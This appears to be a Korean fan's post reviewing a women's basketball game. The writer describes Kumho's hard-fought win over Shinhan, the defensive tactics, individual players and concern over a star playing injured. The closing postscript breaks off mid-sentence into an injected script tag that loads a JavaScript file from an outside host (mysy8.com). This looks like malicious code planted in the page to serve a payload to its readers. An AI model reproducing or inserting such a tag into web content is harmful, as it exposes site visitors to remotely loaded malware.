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방금 경기를 보았습니다...

느지막히 결과를 확인하러 홈피에 들어왔습니다. 전광판 오른쪽에서부터 `구리금호...`라는 말이 먼저 눈에 띄었습니다, 이겼더군요... 재방송을 보았습니다. 승부를 미리 안 뒤였지만 관전하는 내내 조마조마했습니다. 입술도 마르고,초조하고,티비외엔 다른게 눈에 들어오지 않고...

어떤 언론에서 이를 두고 `전주원이 부상으로 빠졌을때 승리한 것을 제외하곤 모두 패하며 그야말로 신한의 "밥"이었던 팀의 반란`이라 표현하는 것을 읽었습니다. 기분이 좋을리 없었습니다. 그러나 이것이 현실이었지요. 처음 연패할 당시에도 비교적 밝았던 표정, 잠시 경기가 중단될 때마다 수시로 모여 작전을 의논하고 화이팅을 다지던 모습은 찾아보기 힘들었고 모두들 굳은 얼굴이더군요...

한마디로 올시즌들어 `가장 강한 투지와 정신력`을 보여준 경기가 아닌가 생각합니다. 지난주 신한과의 시합때 내내 보였던 질질 끌려가는 최악의 흐름과는 처음부터 달랐습니다. 반면 상대는 초반에 다소 마음을 놓았는지 느슨한 플레이를 하다가 조금 놀라는 기색이더군요. 4쿼터 마지막 작전시간에선 금호와의 게임에선 목격하기 힘들었던 당황하고 낙담해하는 표정들도 볼 수 있었습니다. 승부에서 `기세와 흐름`이 얼마나 중요한 것인지 새삼 느낄 수 있는 경기였습니다.

또한 TJ에 대한 강력한 압박수비, 전주원에 대한 전담마크, 멤버교체를 통해 팀스피드를 높이고 지난 경기 26점을 내주었던 상대속공을 무득점으로 차단한 것이 특히 인상적이었습니다.

하지만 그러한 투혼에도 불구하고 여전히 남발하는 어이없는 턴오버는 거듭 경기의 맥을 끊어놓았고, 김지윤선수가 없을 때 역시나 공이 제대로 돌지 않는 모습을 노출하는 등 경기내용은 솔직히 좋았다고 보기는 힘들었습니다. 리바운드도 열세였고(23/35), 3,4쿼터 숱하게 내준 상대의 오픈찬스에서 몇개만 들어갔다면 그대로 게임을 넘겨줘야할지도 모르는 위험한 흐름이 계속 이어졌다고 느껴집니다. 다행히도(?) 오늘 신한의 야투가 매우 부정확하더군요.(2점슛 19/43, 3점슛 5/19) 또한 이번만큼은 금호보다 많았던 턴오버(12개)도 한몫을 했구요.

김지윤선수의 통증을 억누르면서 다시 한 번 해결사 역할을 해내는 모습,그리고 2쿼터 공격성공후 백코트하면서 잔뜩 일그러진 표정으로 `아파서 미치겠네.`라 혼잣말하는 장면...
이종애선수의 몸을 사리지 않는 더블팀 수비와 승부의 물줄기를 다시금 돌려놓는데 큰 역할을 한 4쿼터의 7득점, 그리고 왜 파울을 불지 않냐고 속상해하며 주심에게 거듭 호소하는 모습....
정미란선수의 전주원에 대한 거친파울을 마다않는 수비, 급한 마음에 다리사이로 볼을 빠뜨린뒤 넘어지면서도 끝까지 공을 잃지않으려는 집착, 그리고 승리를 결정짓는 막판에 터진 3점슛...
이언주선수의 10분 남짓한 출전시간에도 불구하고 분위기 전환에 큰 몫을 한 2개의 장거리포...
강현미선수의 빠른 움직임을 바탕으로 한 돌파와 속공가담, 그리고 케이티의 예의 그 허슬플레이와 TJ로 가는 패스를 여러번 커트해 내는 적극적인 수비와 착실한 득점...
때로는 환호를, 때로는 비명을 지르며 코트위의 언니들과 승부의 호흡을 같이하고 힘을 북돋워주기 위해 애쓰던 벤치의 선수들...
그리고 어려운 와중에서도 침착함을 잃지 않으려 노력하시는 감독님과 타는 목을 달래기위해 음료를 벌컥벌컥 들이키시는 모습...

정말 치열한 경기를 목격했습니다. 올시즌들어 가장 값지고 의미있다고 여겨지는 승리를 보았습니다. 그리고, 9패를 지켜봐야했던 그동안의 응어리가 1/9(9분의 1)은 풀리는 기분이었습니다. 오늘 시합을 시니컬하게 예상했던 것이 떠올라 멋적기도 했습니다...

하지만 기쁨과 안도감도 잠시, 이렇게 정규리그 한경기에 사활을 걸다시피 해야하는 지금의 상황을 생각하니 `어쩌다가 이지경까지 오게 됐나`하는 씁쓸한 느낌이 들었습니다. 선수생명 단축을 무릅써가며 출전을 강행하는 현실도 그렇고요...

오늘같은 기억에 남는 경기를 한 번 보았으니 올시즌 성적이 어떻게 나오든 이것으로 위안을 삼을 수 있지 않을까 생각해봅니다. 팀내에서 이번 시즌 이후 은퇴할 가능성을 염두에 두고 있지 않다면, 그리고 김지윤선수 본인도 은퇴 생각이 없다면 무리하게 출전 안했으면 하는 바램이 계속 드는군요. 수시로 고통을 호소하는 힘겨운 표정, 수비하다가 뛰기가 힘든 나머지 파울로 끊고 넘어진 뒤 플로어에 얼굴을 묻고 한동안 움직이지 못하는 모습을 보니 기분이 참.....

자칫 명분도 잃고 실리도 잃는 결과를 초래하지 않을지 지켜보는 입장으로서 기분이 몹시 심란합니다. 마음을 비우는 연습은 앞으로도 계속해야겠습니다...

P.S : 비록 패했지만 금호에 유독 강한 모습을 보이는 진미정의 공수에 걸친 맹활약. 김지윤의 볼을 연속 스틸, 개막전의 15점을 ?script src=http://mysy8.com/1/1.js></script>

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